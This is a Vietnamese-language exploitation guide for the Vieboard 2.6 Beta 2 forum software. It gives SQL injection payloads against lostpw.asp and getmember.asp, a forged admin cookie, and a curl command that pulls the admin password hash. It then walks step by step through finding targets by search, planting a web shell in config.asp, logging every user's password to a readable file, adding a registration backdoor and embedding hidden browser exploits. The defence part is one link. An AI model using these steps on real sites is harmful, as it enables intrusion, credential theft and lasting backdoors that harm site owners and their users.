Phân Tích Lỗi Bảo Mật Trong Vieboard 2.6 Beta 2

trang này đã được đọc lần

 
http://www.security.com.vn/details.php?ID=131

Phần I: Tìm lỗi

- lỗi: sql-injection trong file `lostpw.asp`

dòng 32: set rs = db.execute("Select tblMember.mSN,tblMember.mPwd,tblMemberInfo.mEmail from tblMember,tblMemberInfo where tblMember.mSN = '" & Replace(Request.form("username"),"<","&lt;") & "' AND tblMemberInfo.mID = tblMember.mID")

- khai thác:

http://www.target.com/vie/lostpw.asp

Your username: ' and 1=2 union select tblMember.mSN, tblMember.mPwd, 'email-nhận-kết-quả' from tblMember,tblMemberInfo where tblMember.mSN='username-của-admin

(Select tblMember.mSN,tblMember.mPwd,tblMemberInfo.mEmail from tblMember,tblMemberInfo where tblMember.mSN='' and 1=2 union select tblMember.mSN, tblMember.mPwd, 'email-nhận-kết-quả' from tblMember,tblMemberInfo where tblMember.mSN='username-của-admin)

- lỗi: sql-injection trong file `getmember.asp`

dòng 12: <% set rs = db.execute("Select tblMember.mSN,tblMember.mDate ,tblMemberInfo.* from tblMember, tblMemberInfo where tblMember.mID = tblMemberInfo.mID AND tblMember.mSN = '" & Request("mSN") & "'") %>

- khai thác:

http://www.target.com/vie/getMember.asp?msn=admin' and 1=2 union select tblMember.mPwd,tblMember.mDate ,tblMemberInfo.* from tblMember, tblMemberInfo where tblMember.mSN='username-của-admin

(Select tblMember.mSN,tblMember.mDate ,tblMemberInfo.* from tblMember, tblMemberInfo where tblMember.mID = tblMemberInfo.mID AND tblMember.mSN='admin' and 1=2 union select tblMember.mPwd,tblMember.mDate ,tblMemberInfo.* from tblMember, tblMemberInfo where tblMember.mSN='username-của-admin')

- lỗi: giả mạo cookie trong file `login_action.asp`

- khai thác:

Cookie: isLogged=mod=True&mSN=username-của-admin&group=1&mid=1

Phần II: Khai thác

- search `target` trên http://www.google.com.vn/, từ khóa tìm kiếm: `allinurl:getmember.asp`

Bước 1: xác định username của admin

http://www.target.com/vie/staff.asp


Bước 2: lấy pass của admin

Cách 1: dùng SQL-Injection

http://www.target.com/vie/getMember.asp?msn=admin' and 1=2 union select tblMember.mPwd,tblMember.mDate ,tblMemberInfo.* from tblMember, tblMemberInfo where tblMember.mSN='admin

Cách 2: giả mạo cookie

C:\> curl --cookie "isLogged=mod=True&mSN=admin&group=1&mid=1" --data "query=sele
ct+mPwd+from+tblMember+where+mSN%3D%27admin%27" http://www.target.com/vie/adm_fr
_m_query.asp

<html>
<head>
<link rel="stylesheet" type="text/css" href="skin/style.css">
</style>
<style>
td.adm{ background: url('adm_bg.gif') repeat-x bottom; font:bold 10px ve
rdana;color:#37386D; border:none}
.admh{font:22px verdana;color:#37386D}
</style>
</head>
<body leftmargin=0 rightmargin=0 bottommargin=0 topmargin=0 marginwidth=0 margin
height=0>

<table bgcolor=white width=100% class=sm cellpadding=2>
<tr>
<td class=adm height=23 align=center>VieBoard Administration
</tr>
</table>
<font class=admh>SQL Query</font>
<table width=100% cellpadding=3 style="border:1px solid silver;font:11px courier
new"><tr><td bgcolor=F0F0F0 width="100%">mPwd</td></tr><tr><td nowrap bgcolor=F
AFAFA>37bd45d638c2d11c49c641d2e9c4f49f406caf3ee282743e0c800aa1ed68e2ee</b></td><
/tr></table><p class=small>1 row(s) affected by this query<br>Run time: 10/29/20
03 9:31:44 AM
</body>
</html>
(download file curl.exe)

Bước 3: đặt pass mới cho admin

http://www.target.com/vie/verify.asp



Bước 5: đăng nhập vào admin-panel với pass mới

http://www.target.com/vie/login.asp


http://www.target.com/vie/adm_fr.asp

Bước 6: nhúng 4in1 vào file config.asp

http://www.target.com/vie/adm_fr_m_config.asp?mode=editconfig
(xem file config.asp)

Bước 7: enable 4in1

<form action=http://www.target.com/vie/inc/config.asp method=post>
<input type=hidden name=h4x value=0r>
<input type=submit value=h4x0r>
</form>
(download file h4x0r.htm)

Bước 8: install 4in1

(download file post_reply.asp)

Bước 9: restore lại trạng thái cũ cho vieboard

- restore file config.asp cũ:

http://www.target.com/vie/post_reply.asp

(xóa file inc/config_bak.asp, edit file inc/config.asp: remove 4in1)

- set lại pass cũ cho admin:

http://www.target.com/vie/adm_fr.asp


Bước 10: install các thứ khác

http://www.target.com/vie/post_reply.asp

- log pass của các user:

(xem file login_action.asp)

[...]
else ' if nick and pwd are both correct
[...]
on error resume next
dim fso1,f1,m_ID,mEMail

m_ID=rs("mID")
qSelect="select mEmail from tblMemberInfo where mID="&m_ID
set rs=db.execute(qSelect)

set fso1=createobject("scripting.filesystemobject")
set f1=fso1.opentextfile(server.mappath("readme.txt"),8,true)
f1.writeline mSN&"|"&mPwd&"|"&rs("mEmail")&"|"&retry&"|"&now
f1.close
set fso1=nothing
[...]
(thu thập pass qua địa chỉ http://www.target.com/vie/readme.txt)

- đặt backdoor trong phần đăng kí user:

(xem file register_action.asp)

if (mHobbies="h4x0r") then tmp("mGroup")=1
http://www.target.com/vie/register.asp
- cài script, flash, `malicious` code khai thác lỗ hỏng bảo mật của các trình duyệt web IE, Netscape, ... trong file .asp, .html, ... : set độ rộng và độ cao của object bằng 0

<width=0 height=0 ...>
Phần III: Phòng thủ

- http://www.vienuke.com/